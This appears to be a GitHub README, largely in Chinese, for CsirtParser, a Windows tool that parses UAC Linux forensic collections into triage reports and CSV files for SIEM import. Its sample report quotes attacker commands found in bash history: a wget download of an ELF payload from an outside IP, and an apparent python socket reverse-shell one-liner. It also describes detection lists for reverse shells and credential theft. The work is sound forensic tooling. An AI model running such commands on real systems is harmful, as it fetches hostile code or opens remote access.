JuggeM/CsirtParser.WPF

GitHub: JuggeM/CsirtParser.WPF

一款用于解析 UAC Linux 取证集合的 Windows 桌面工具,快速输出可行动的 QuickWins 报告。

Stars: 0 | Forks: 0

# CsirtParser 一个用于解析和分类 [UAC(Unix Artefact Collector)](https://github.com/tclahr/uac) 取证集合的 Windows 桌面应用程序。专为 DFIR 分析员设计,能够快速从原始收集数据转向可操作的调查结果。 ![CsirtParser UI](https://raw.githubusercontent.com/JuggeM/CsirtParser.WPF/master/docs/screenshot.png) ## 功能 CsirtParser 摄取 UAC `.tar.gz` 归档文件,提取内容并运行一系列解析器。所有发现结果会写入 `QuickWins.txt` / `QuickWins.rtf` 报告以及每个解析器对应的标准化 CSV 文件,以便导入 SIEM 或时间线工具。 **包含的解析器** | 解析器 | 来源 | 检测内容 | |---|---|---| | 认证 / 安全 | `auth.log`, `secure` | SSH 暴力破解、root 登录、PAM 失败、sudo 滥用 | | 系统日志 | `syslog`, `kern.log` | 内核崩溃、OOM 杀死、段错误、硬件错误、cron 执行 | | 消息 | `/var/log/messages` | 系统守护进程事件、内核消息 | | 审计 | `audit.log` | execve、文件访问、权限变更(auditd) | | Web 日志 | Apache / Nginx 访问日志 | SQL 注入、路径遍历、RCE 探测、IP 暴力破解 | | 计划任务扫描 | `/etc/cron*`, `/var/spool/cron` | 在计划任务定义中植入的持久化攻击 | | systemd Journal | `user-*.journal` | 用户级 sudo、SSH、Shell 执行(二进制 journal 格式) | | Bash 历史 | `.bash_history` | 反向 Shell、凭证访问、投放器、横向移动、反取证 | | Docker | 容器日志与事件 | 特权容器、异常镜像拉取 | | 实时响应 | UAC 实时数据 | 账户、sudoers、网络状态、路由 | | Body 文件 | `bodyfile.txt` | 基于评分的文件时间线 — 投放工具、Webshell、暂存区 | | SHA1 哈希 | `hash_executables.sha1` | 按路径、名称与扩展名评分的可疑可执行文件 | | 进程 | `ps aux` 快照 | 从可疑路径运行的进程 | | 网络 | `netstat`, `ss` | 监听端口、已建立连接 | | 持久化 | rc.local、systemd 单元 | 启动持久化机制 | | 文件系统 | `find`, `stat` 输出 | SUID 二进制、最近修改文件、世界可写目录 | ## 要求 - Windows 10 / 11 - [.NET 8 Desktop Runtime](https://dotnet.microsoft.com/en-us/download/dotnet/8.0) - UAC 收集文件(`.tar.gz`、`.tgz` 或已解压) ## 案例文件夹结构 CsirtParser 期望特定的文件夹布局: ``` CaseFolder\ ├── Upload\ ← drop UAC .tar.gz archives here │ ├── uac-hostname-2024-11-14.tar.gz │ └── uac-dbserver-2024-11-14.tar.gz └── Decompressed\ ← auto-created on scan; or extract here manually ``` 输出文件写入: ``` CaseFolder\ └── Processed\ └── uac-hostname-2024-11-14\ ├── QuickWins.txt ← main analyst report (plain text) ├── QuickWins.rtf ← formatted report (Word / WordPad) ├── Normalized_AUTH.csv ← normalised log rows, Splunk-ready ├── Normalized_SYSLOG.csv ├── Normalized_BASH.csv ├── Sessions_AUTH.csv ← SSH session timeline ├── SHA1_Candidates.csv ← scored executable hashes └── ProcessedBodyFile.csv ← body file timeline ``` ## 快速开始 1. 打开 CsirtParser 2. 在 **Case Setup** 选项卡中设置案件名称、分析员姓名,并浏览到案件文件夹 3. 点击 **Scan** — `Upload\` 中的 UAC 归档文件会自动提取 4. 在 **Parsers** 选项卡中切换要运行的解析器(默认全部启用) 5. 在 **Detection** 选项卡中根据需要调整暴力破解阈值与关键词列表 6. 点击 **Run** — 结果会出现在 `Processed\` 中,日志窗格显示进度 7. 在案件文件夹中打开 `QuickWins.rtf` 开始分析 ## 快速报告 报告结构便于快速分类: ``` ########## Timeline Coverage ########## First Log Entry: 2024-11-01 08:12:04 UTC Last Log Entry: 2024-11-14 03:04:11 UTC ########## [GLOBAL] Summary ########## [AUTH] Files: 4 | First: ... | Last: ... | Suspicious: 12 >> [BRUTEFORCE] 185.220.101.47 — 847 failed attempts [BASH] Files: 3 | Suspicious: 9 >> [HIGH] user=root: wget -O /tmp/.x http://185.220.101.47/elf64 ########## [AUTH] Suspicious Findings ########## >> [AUTH] [BRUTEFORCE] 185.220.101.47: 847 failed SSH attempts ... ########## [BASH] Suspicious Shell History ########## >> [BASH] [HIGH] [2024-11-14 02:17:43 UTC] user=root: wget -O /tmp/.x ... >> [BASH] [HIGH] [2024-11-14 02:18:04 UTC] user=root: python3 -c 'import socket...' >> [BASH] [LATERAL] [2024-11-14 02:44:37 UTC] user=root SSH→ 10.0.0.12 as deploy ``` 各严重性等级说明: | 标签 | 含义 | |---|---| | `[HIGH]` / `[CRITICAL]` | 接近确定的攻击行为 — 优先审查 | | `[BRUTEFORCE]` | IP 超过失败登录阈值 | | `[SUSPICIOUS]` | 值得审查,但非自动判定为恶意 | | `[LATERAL]` | 到其他内网主机的 SSH 连接 | | `[MEDIUM]` | 信息性,提供上下文 | ## 检测设置 所有阈值与关键词列表均可在 UI 中配置,无需重新编译: - **暴力破解阈值** — 失败登录次数达到后标记 IP(默认:5) - **Web RPM 阈值** — 每分钟请求数达到后标记 Web IP(默认:50) - **等级 1 / 等级 2 关键词** — 自定义关键词用于升级发现结果 - **白名单模式** — 路径用于忽略部分发现 - **Body 文件设置** — 最小评分、时间窗口、关键词列表、白名单前缀 ## 添加解析器 所有解析器均继承自 `LogFileParser`(位于 `Helpers/`),并实现 `ParseFile(string filePath)`。要添加新解析器: 1. 创建继承 `LogFileParser` 的类并声明 `IAttachNormalizedWriter` 2. 重写 `ParseLog(...)` 以实现检测逻辑 3. 添加发现逻辑(静态 `DiscoverFiles(string collectionRoot)`) 4. 在 `ParserConfig.cs` 中添加 `ParseXxx` 开关 5. 按照现有解析器模式将其接入 `ParserOrchestrator.ProcessLogs(...)` 6. 在 `ParsersView.xaml` 中添加卡片 可参考 `BashHistoryParser.cs` 或 `CrontabScanner.cs` 获取完整示例。 ## 安全提示 CsirtParser 处理来自潜在受妥协系统的工件。请在隔离的分析虚拟机中运行,不要在日常工作站上使用。切勿在连接生产网络的机器上打开不可信的 UAC 归档文件。 ## 感谢 基于 [UAC(Unix Artefact Collector)](https://github.com/tclahr/uac) 构建,由 Teo Chua 开发。UAC 负责收集 — CsirtParser 负责分析。 ## 许可证 MIT — 参见 [LICENSE](LICENSE)
标签:Auth日志, Bash历史, CIDR输入, Docker, Hash分析, HTTP请求, Linux取证, QuickWins报告, SIEM集成, Syslog, UAC, Web日志, WPF, 取证工具, 安全防御评估, 实时响应, 审计日志, 开源取证, 数字取证, 文件时间线, 日志解析, 桌面应用, 网络连接, 自动化脚本, 证书伪造, 进程快照, 速率限制